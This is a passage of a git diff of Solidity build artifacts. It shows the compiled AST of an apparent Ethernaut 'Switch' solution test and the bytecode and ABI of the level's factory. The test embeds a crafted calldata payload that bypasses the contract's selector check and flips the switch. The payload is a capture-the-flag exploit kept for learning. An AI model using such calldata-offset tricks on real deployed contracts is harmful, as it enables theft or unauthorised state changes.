memory)"}},"nodeType":"VariableDeclarationStatement","src":"1942:63:147"},{"condition":{"id":64489,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"2019:8:147","subExpression":{"id":64488,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64477,"src":"2020:7:147","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":64497,"nodeType":"IfStatement","src":"2015:60:147","trueBody":{"id":64496,"nodeType":"Block","src":"2029:46:147","statements":[{"expression":{"arguments":[{"id":64493,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64479,"src":"2060:3:147","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":64490,"name":"console","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23737,"src":"2043:7:147","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_console_$23737_$","typeString":"type(library console)"}},"id":64492,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2051:8:147","memberName":"logBytes","nodeType":"MemberAccess","referencedDeclaration":15792,"src":"2043:16:147","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":64494,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2043:21:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64495,"nodeType":"ExpressionStatement","src":"2043:21:147"}]}},{"expression":{"arguments":[{"id":64502,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"2095:20:147","subExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64499,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64318,"src":"2096:8:147","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}},"id":64500,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2105:8:147","memberName":"switchOn","nodeType":"MemberAccess","referencedDeclaration":55140,"src":"2096:17:147","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bool_$","typeString":"function () view external returns (bool)"}},"id":64501,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2096:19:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":64498,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2084:10:147","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":64503,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2084:32:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64504,"nodeType":"ExpressionStatement","src":"2084:32:147"},{"expression":{"id":64507,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64505,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64456,"src":"2127:4:147","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"30c13ade0000000000000000000000000000000000000000000000000000000000000060ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff20606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000","id":64506,"isConstant":false,"isLValue":false,"isPure":true,"kind":"hexString","lValueRequested":false,"nodeType":"Literal","src":"2146:333:147","typeDescriptions":{"typeIdentifier":"t_stringliteral_0fc23031590ca1da8a9f2e504b2e565037c1dfc77d5a7bdbbd6be416e8aeaa3b","typeString":"literal_string hex\"30c13ade0000000000000000000000000000000000000000000000000000000000000060ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff20606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000\""}},"src":"2127:352:147","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":64508,"nodeType":"ExpressionStatement","src":"2127:352:147"},{"expression":{"id":64519,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"id":64509,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64477,"src":"2490:7:147","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":64510,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64479,"src":"2499:3:147","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"id":64511,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"2489:14:147","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":64517,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64456,"src":"2529:4:147","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":64514,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64318,"src":"2514:8:147","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}],"id":64513,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2506:7:147","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64512,"name":"address","nodeType":"ElementaryTypeName","src":"2506:7:147","typeDescriptions":{}}},"id":64515,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2506:17:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":64516,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2524:4:147","memberName":"call","nodeType":"MemberAccess","src":"2506:22:147","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":64518,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2506:28:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"src":"2489:45:147","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64520,"nodeType":"ExpressionStatement","src":"2489:45:147"},{"condition":{"id":64522,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"2548:8:147","subExpression":{"id":64521,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64477,"src":"2549:7:147","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":64530,"nodeType":"IfStatement","src":"2544:60:147","trueBody":{"id":64529,"nodeType":"Block","src":"2558:46:147","statements":[{"expression":{"arguments":[{"id":64526,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64479,"src":"2589:3:147","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":64523,"name":"console","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23737,"src":"2572:7:147","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_console_$23737_$","typeString":"type(library console)"}},"id":64525,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2580:8:147","memberName":"logBytes","nodeType":"MemberAccess","referencedDeclaration":15792,"src":"2572:16:147","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":64527,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2572:21:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64528,"nodeType":"ExpressionStatement","src":"2572:21:147"}]}},{"expression":{"arguments":[{"arguments":[{"id":64533,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64315,"src":"2645:9:147","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":64536,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64318,"src":"2664:8:147","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}],"id":64535,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2656:7:147","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64534,"name":"address","nodeType":"ElementaryTypeName","src":"2656:7:147","typeDescriptions":{}}},"id":64537,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2656:17:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":64532,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2625:19:147","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":64538,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2625:49:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":64531,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2614:10:147","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":64539,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2614:61:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64540,"nodeType":"ExpressionStatement","src":"2614:61:147"}]},"documentation":{"id":64446,"nodeType":"StructuredDocumentation","src":"1647:44:147","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1705:9:147","parameters":{"id":64447,"nodeType":"ParameterList","parameters":[],"src":"1714:2:147"},"returnParameters":{"id":64448,"nodeType":"ParameterList","parameters":[],"src":"1724:0:147"},"scope":64543,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":64309,"name":"Test","nameLocations":["355:4:147"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"355:4:147"},"id":64310,"nodeType":"InheritanceSpecifier","src":"355:4:147"},{"baseName":{"id":64311,"name":"Utils","nameLocations":["361:5:147"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"361:5:147"},"id":64312,"nodeType":"InheritanceSpecifier","src":"361:5:147"}],"canonicalName":"TestSwitch","contractDependencies":[49101,55283,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[64543,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestSwitch","nameLocation":"341:10:147","scope":64544,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":147} \ No newline at end of file diff --git a/contracts/out/SwitchFactory.sol/SwitchFactory.json b/contracts/out/SwitchFactory.sol/SwitchFactory.json new file mode 100644 index 000000000..9587bf347 --- /dev/null +++ b/contracts/out/SwitchFactory.sol/SwitchFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61087e8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610331565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610353565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610331565b6101bb565b610114610250565b61011d5f6102a9565b565b5f8060405161012d90610310565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050806001600160a01b031663f9f8f8956040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b3919061038a565b949350505050565b6101c3610250565b6001600160a01b0381166102445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024d816102a9565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023b565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61049f806103aa83390190565b6001600160a01b038116811461024d575f80fd5b5f60208284031215610341575f80fd5b813561034c8161031d565b9392505050565b5f8060408385031215610364575f80fd5b823561036f8161031d565b9150602083013561037f8161031d565b809150509250929050565b5f6020828403121561039a575f80fd5b8151801515811461034c575f80fdfe60806040525f805464ffffffff0019166420606e1500179055348015610023575f80fd5b5061046e806100315f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80635a2cfa661161004d5780635a2cfa661461008557806376227e12146100cc578063f9f8f895146100d4575f80fd5b806320606e151461006857806330c13ade14610072575b5f80fd5b6100706100f0565b005b610070610080366004610361565b61014f565b5f5461009690610100900460e01b81565b6040517fffffffff0000000000000000000000000000000000000000000000000000000090911681526020015b60405180910390f35b6100706102b9565b5f546100e09060ff1681565b60405190151581526020016100c3565b3330146101445760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c792074686520636f6e74726163742063616e2063616c6c20746869730060448201526064015b60405180910390fd5b5f805460ff19169055565b610157610316565b6004604482375f54815161010090910460e01b7fffffffff0000000000000000000000000000000000000000000000000000000016146101ff5760405162461bcd60e51b815260206004820152602860248201527f43616e206f6e6c792063616c6c20746865207475726e4f66665377697463682060448201527f66756e6374696f6e000000000000000000000000000000000000000000000000606482015260840161013b565b5f3073ffffffffffffffffffffffffffffffffffffffff1683604051610225919061040c565b5f604051808303815f865af19150503d805f811461025e576040519150601f19603f3d011682016040523d82523d5f602084013e610263565b606091505b50509050806102b45760405162461bcd60e51b815260206004820152600e60248201527f63616c6c206661696c6564203a28000000000000000000000000000000000000604482015260640161013b565b505050565b3330146103085760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c792074686520636f6e74726163742063616e2063616c6c207468697300604482015260640161013b565b5f805460ff19166001179055565b60405180602001604052806001906020820280368337509192915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f60208284031215610371575f80fd5b813567ffffffffffffffff80821115610388575f80fd5b818401915084601f83011261039b575f80fd5b8135818111156103ad576103ad610334565b604051601f8201601f19908116603f011681019083821181831017156103d5576103d5610334565b816040528281528760208487010111156103ed575f80fd5b826020860160208301375f928101602001929092525095945050505050565b5f82515f5b8181101561042b5760208186018101518583015201610411565b505f92019182525091905056fea264697066735822122055ac63fc356b6bfa4cbc0e9135bac6a6642b324508b8511e07cda734a6cdffb364736f6c63430008180033a264697066735822122011bd8b6f5d16ab1e7e5092e4843f72f39de77828e14b49723b0b3ca2ec2e7fa864736f6c63430008180033","sourceMap":"108:434:109:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;108:434:109;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;108:434:109:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610331565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610353565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610331565b6101bb565b610114610250565b61011d5f6102a9565b565b5f8060405161012d90610310565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050806001600160a01b031663f9f8f8956040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b3919061038a565b949350505050565b6101c3610250565b6001600160a01b0381166102445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024d816102a9565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023b565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61049f806103aa83390190565b6001600160a01b038116811461024d575f80fd5b5f60208284031215610341575f80fd5b813561034c8161031d565b9392505050565b5f8060408385031215610364575f80fd5b823561036f8161031d565b9150602083013561037f8161031d565b809150509250929050565b5f6020828403121561039a575f80fd5b8151801515811461034c575f80fdfe60806040525f805464ffffffff0019166420606e1500179055348015610023575f80fd5b5061046e806100315f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80635a2cfa661161004d5780635a2cfa661461008557806376227e12146100cc578063f9f8f895146100d4575f80fd5b806320606e151461006857806330c13ade14610072575b5f80fd5b6100706100f0565b005b610070610080366004610361565b61014f565b5f5461009690610100900460e01b81565b6040517fffffffff0000000000000000000000000000000000000000000000000000000090911681526020015b60405180910390f35b6100706102b9565b5f546100e09060ff1681565b60405190151581526020016100c3565b3330146101445760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c792074686520636f6e74726163742063616e2063616c6c20746869730060448201526064015b60405180910390fd5b5f805460ff19169055565b610157610316565b6004604482375f54815161010090910460e01b7fffffffff0000000000000000000000000000000000000000000000000000000016146101ff5760405162461bcd60e51b815260206004820152602860248201527f43616e206f6e6c792063616c6c20746865207475726e4f66665377697463682060448201527f66756e6374696f6e000000000000000000000000000000000000000000000000606482015260840161013b565b5f3073ffffffffffffffffffffffffffffffffffffffff1683604051610225919061040c565b5f604051808303815f865af19150503d805f811461025e576040519150601f19603f3d011682016040523d82523d5f602084013e610263565b606091505b50509050806102b45760405162461bcd60e51b815260206004820152600e60248201527f63616c6c206661696c6564203a28000000000000000000000000000000000000604482015260640161013b565b505050565b3330146103085760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c792074686520636f6e74726163742063616e2063616c6c207468697300604482015260640161013b565b5f805460ff19166001179055565b60405180602001604052806001906020820280368337509192915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f60208284031215610371575f80fd5b813567ffffffffffffffff80821115610388575f80fd5b818401915084601f83011261039b575f80fd5b8135818111156103ad576103ad610334565b604051601f8201601f19908116603f011681019083821181831017156103d5576103d5610334565b816040528281528760208487010111156103ed575f80fd5b826020860160208301375f928101602001929092525095945050505050565b5f82515f5b8181101561042b5760208186018101518583015201610411565b505f92019182525091905056fea264697066735822122055ac63fc356b6bfa4cbc0e9135bac6a6642b324508b8511e07cda734a6cdffb364736f6c63430008180033a264697066735822122011bd8b6f5d16ab1e7e5092e4843f72f39de77828e14b49723b0b3ca2ec2e7fa864736f6c63430008180033","sourceMap":"108:434:109:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;146:179:109;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;146:179:109;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;331:209:109;;;;;;;;;;-1:-1:-1;331:209:109;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;331:209:109;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;146:179:109:-;220:7;256:14;273:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;256:29:109;146:179;-1:-1:-1;;;146:179:109:o;331:209::-;431:4;464:14;488:9;464:34;;515:7;-1:-1:-1;;;;;515:16:109;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;508:25;331:209;-1:-1:-1;;;;331:209:109:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1733:2:155;2161:73:23::1;::::0;::::1;1715:21:155::0;1772:2;1752:18;;;1745:30;1811:34;1791:18;;;1784:62;1882:8;1862:18;;;1855:36;1908:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2140:2:155;1414:68:23;;;2122:21:155;;;2159:18;;;2152:30;2218:34;2198:18;;;2191:62;2270:18;;1414:68:23;1938:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:277::-;1316:6;1369:2;1357:9;1348:7;1344:23;1340:32;1337:52;;;1385:1;1382;1375:12;1337:52;1417:9;1411:16;1470:5;1463:13;1456:21;1449:5;1446:32;1436:60;;1492:1;1489;1482:12","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current 